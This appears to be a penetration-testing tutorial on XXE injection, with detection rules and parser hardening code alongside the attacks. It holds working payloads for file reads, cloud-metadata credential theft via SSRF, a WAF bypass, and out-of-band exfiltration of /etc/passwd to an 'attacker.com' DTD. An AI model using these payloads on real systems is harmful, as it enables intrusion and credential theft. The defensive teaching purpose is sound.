
XML External Entity (XXE) Injection
Exploiting XML external entities for file reads, SSRF and blind out-of-band exfiltration, including XXE through SVG and Office uploads.
Introduction
XML external entity (XXE) injection abuses ENTITY declarations that point at external resources: file paths, HTTP URLs, FTP URIs. If the parser resolves them, you can read files from the server, make it send requests to internal services, and with some parsers and settings get code execution. Entity expansion without limits also allows denial of service (Billion Laughs).
This is a feature of XML 1.0, not a bug in one parser. Many frameworks and libraries shipped with external entities enabled, and applications inherited that default. Anything that parses XML is a candidate: Office documents (DOCX, XLSX, ODT), SVG, SAML assertions, RSS and Atom feeds, custom XML APIs. Typical findings are reads of /etc/passwd and config files with database credentials, AWS instance metadata from http://169.254.169.254/, and internal service discovery.
In the cloud, the SSRF side is often the bigger problem. One http:// entity pointed at 169.254.169.254/latest/meta-data/iam/security-credentials/ can return temporary AWS credentials for the instance role. The URI scheme is the only difference: file:// reads from disk, http:// makes an outbound connection.
Authorization required
Test only systems you own or have written permission to test. Out-of-band XXE payloads make the target connect to your server, so use infrastructure you control and list it in the engagement documents.
Impact
- Local file read:
/etc/passwd,/proc/self/environ, application config files, private keys - AWS/GCP/Azure instance metadata exfiltration yielding IAM credentials
- Internal network port scanning via
http://entity requests (response timing reveals open ports) - SSRF to services that trust requests from localhost (Redis, Memcached, internal APIs)
- Credential theft from config files (
database.yml,wp-config.php,.env,web.config) - DoS via recursive entity expansion (Billion Laughs / XML bomb)
- Pivot to RCE when combined with PHP
expect://wrappers or readable SSH authorized_keys
Technical details
XML parsers that support external entities must fetch and inline the content of any SYSTEM or PUBLIC entity before returning the parsed document. The attack injects a DOCTYPE declaration containing an external entity definition, then references that entity inside the document body where the application will reflect or process the content.
Two entity types matter for exploitation:
General entities (&xxe;) are expanded inline in element content. That is the classic XXE where the content comes back in the response. Parameter entities (%xxe;) are only valid inside DTD declarations, but they can be used to load external DTD files containing entity chains that trigger OOB data exfiltration. Blind XXE, where the application never returns the parsed content, depends on them.
Classic XXE: direct file read
Inject a DOCTYPE that declares an external entity pointing to a local file, then reference it in the XML body. The application must reflect the parsed element value somewhere in the response.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>Response excerpt (partial):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...On Windows, use file:///C:/Windows/System32/drivers/etc/hosts or file:///C:/inetpub/wwwroot/web.config.
XXE to SSRF: internal service probing
Replace the file:// URI with http:// to make the parser issue an outbound HTTP request. Use this to reach cloud metadata endpoints or probe internal services.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck>
<productId>&ssrf;</productId>
<storeId>1</storeId>
</stockCheck>For GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (needs the Metadata-Flavor: Google header, which an XML entity fetch normally cannot send).
For internal port scanning, iterate over ports and measure response time/error differences:
<!ENTITY portscan SYSTEM "http://192.168.1.1:6379/">A Redis instance on 6379 will return its banner; a closed port will error immediately.
Blind XXE: out-of-band via parameter entities
When the application parses XML but never reflects entity values in the response, use parameter entities to load an attacker-controlled external DTD that chains entity declarations to exfiltrate data via HTTP.
Host the following DTD on your server (https://attacker.com/evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % exfil SYSTEM 'https://attacker.com/collect?d=%file;'>">
%wrap;
%exfil;Send this payload to the target:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "https://attacker.com/evil.dtd">
%xxe;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>Your HTTP server receives a request like:
GET /collect?d=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:... HTTP/1.1
Host: attacker.comWhere the parser allows it, multi-line files arrive URL-encoded in the query string. Some parsers reject URLs that contain newlines; for those, an FTP-based DTD or a PHP base64 filter works better. Catch the callback with netcat, a simple web server or Burp Collaborator.
Error-based blind XXE
When the application throws XML parse errors that leak content, you can trigger a deliberately malformed entity reference that embeds the file content in the error message without needing an outbound HTTP callback.
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%exfil;The parser attempts to open file:///nonexistent/root:x:0:0:... and emits an error containing the file content in the path.
XXE via SVG file upload
Applications that process uploaded SVG images (avatar uploads, report exports, image converters) often parse them with a full XML parser. Inject external entity references directly into the SVG.
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY>
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="10" y="30">&xxe;</text>
</svg>Upload as avatar.svg. If the application renders the SVG server-side (Inkscape, ImageMagick with SVG delegate, LibreOffice) or returns it inline, the entity is resolved. Rasterizers like Batik and svg2png are also vulnerable when external entity processing is enabled.
XXE in DOCX / XLSX (Office Open XML)
DOCX and XLSX files are ZIP archives containing XML. word/document.xml in a DOCX and xl/worksheets/sheet1.xml in XLSX are parsed when the application processes uploaded documents (document converters, mail merge, report engines).
Extract and modify the document XML:
unzip target.docx -d docx_extracted/
# Edit word/document.xml to inject DOCTYPE:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Reference &xxe; inside a <w:t> element
zip -r malicious.docx docx_extracted/<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>
<w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
</w:body>
</w:document>LibreOffice, Apache POI (without explicit FEATURE_SECURE_PROCESSING), and python-docx before 0.8.6 (CVE-2016-5851) are historically vulnerable to this.
Encoding bypass: UTF-16
Some WAFs and input filters inspect XML for DOCTYPE patterns using byte-string matching on UTF-8 input. A UTF-16 payload with a BOM gets past them because the raw bytes look nothing like the UTF-8 pattern.
payload = '''<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>'''
with open("xxe_utf16.xml", "wb") as f:
f.write(payload.encode("utf-16"))Send with Content-Type: application/xml; charset=UTF-16. Parsers that support encoding negotiation will decode the BOM and process the DOCTYPE normally.
Attack tools
Burp Scanner finds classic and blind XXE. For manual work, use Repeater and Intruder.
# Burp Scanner: active scan on XML endpoints
# Right-click request > Scan > Active Scan
# Findings appear under Target > Issue Activity
# For manual testing in Repeater:
# 1. Intercept XML request
# 2. Modify Content-Type to application/xml if needed
# 3. Inject DOCTYPE before root element
# 4. Use Burp Collaborator for blind OOB:
# <!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR-ID.burpcollaborator.net">Burp Collaborator provides a DNS/HTTP/SMTP listener. When the parser resolves the entity, the callback appears in "Poll now" results under the Collaborator client tab. This confirms blind XXE before attempting file exfiltration.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://abcd1234.burpcollaborator.net/xxe-test">
]>
<root>&xxe;</root>Detection
XXE attacks generate several detectable patterns across web server logs, application logs, and network telemetry.
WAF and IDS signatures
| Pattern | Detection Rule |
|---|---|
DOCTYPE in POST body | Alert on <!DOCTYPE in XML content-type requests |
SYSTEM keyword | Alert on SYSTEM\s+"(file|http|ftp):// in request bodies |
| Entity expansion depth | Alert on nested entity references exceeding depth 3 |
| OOB callback | DNS/HTTP request from app server to external host triggered by XML parse |
Application logs
File-not-found errors that contain file contents or odd paths point to error-based blind XXE:
WARN xml.parser - Failed to open: file:///etc/shadow (Permission denied)
ERROR xml.parser - External entity resolution failed: http://169.254.169.254/Network monitoring
# Zeek/Bro signature for metadata endpoint access
event http_request(c: connection, method: string, original_URI: string, ...) {
if ( /169\.254\.169\.254/ in original_URI )
NOTICE([$note=Notice::Weird, $msg="IMDSv1 access attempt"]);
}Splunk query
index=web_logs method=POST
| rex field=request_body "(?i)<!DOCTYPE\s+\w+\s*\["
| stats count by src_ip, uri_path, user_agent
| where count > 5
| sort -countAWS CloudTrail
{
"eventSource": "sts.amazonaws.com",
"eventName": "AssumeRole",
"sourceIPAddress": "169.254.169.254"
}CloudTrail does not log requests to the metadata service. It does log what happens next: calls made with the instance role show up as userIdentity.type: AssumedRole with the instance ID as the session name. Calls from a source IP that is not the instance, or API calls the workload never makes, are the signal.
Remediation
Disable external entity processing
| Language / Library | Secure Configuration |
|---|---|
Java XMLInputFactory | factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false) |
Java DocumentBuilderFactory | dbf.setFeature("http://xml.org/sax/features/external-general-entities", false) |
PHP libxml | libxml_disable_entity_loader(true) (PHP < 8.0); PHP 8.0+ disables by default |
Python lxml | etree.XMLParser(resolve_entities=False, no_network=True) |
Python xml.etree.ElementTree | Does not resolve external entities; use defusedxml to also block entity expansion attacks on older expat versions |
Ruby Nokogiri | Nokogiri::XML::ParseOptions::NONET flag |
.NET XmlReader | XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit } |
| libxml2 (C) | Do not pass XML_PARSE_NOENT; pass XML_PARSE_NONET (for example xmlCtxtReadMemory(..., XML_PARSE_NONET)) |
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
load_dtd=False,
forbid_dtd=True,
)
tree = etree.fromstring(xml_data, parser=parser)Architectural mitigations
- Move XML APIs to JSON where possible, which removes the problem
- Check
Content-Typebefore parsing and rejectapplication/xmlon endpoints that expectapplication/json - For file upload processing (DOCX, SVG), run parsers in a sandboxed subprocess or container with no network access and read-only filesystem mounts
- Block outbound HTTP/DNS from application servers at the network perimeter to prevent OOB exfiltration callbacks
- Require IMDSv2 on AWS EC2 instances (
HttpTokens: required). IMDSv2 needs a PUT request for a session token before any GET to the metadata endpoint works, and an XML entity fetch cannot send one - Apply
egressnetwork policies in Kubernetes to prevent application pods from reaching169.254.169.254
References
MITRE ATT&CK techniques
- T1190 - Exploit Public-Facing Application
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1083 - File and Directory Discovery
Tools documentation
- PortSwigger Web Security Academy: XXE
- XXEinjector GitHub
- OWASP XXE Prevention Cheat Sheet
- defusedxml Python library
- Burp Suite Collaborator documentation
Next steps
Server-Side Request Forgery (SSRF)
Exploiting SSRF for cloud metadata credentials, internal port scanning and Redis via gopher, with filter bypasses and blind SSRF over out-of-band callbacks.
Insecure Deserialization
Exploiting deserialization of untrusted data in Java, PHP, Python, .NET and Node.js, from spotting serialized blobs to gadget chains and fixes.
Authentication Bypass
Ways past a login page, from credential attacks and logic flaws to session, JWT, OAuth, MFA and password reset bugs.
SQL Injection
Finding and exploiting SQL injection: in-band, blind and out-of-band techniques, per-database payloads, WAF bypasses, sqlmap and fixes.
Cross-Site Scripting (XSS): Attack and Defense
Reflected, stored and DOM-based XSS, with payloads for each injection context, filter bypasses, detection and fixes.
Windows Security
Windows privilege escalation techniques, group exploitation, system hardening, and vulnerability exploitation for penetration testing and red team operations.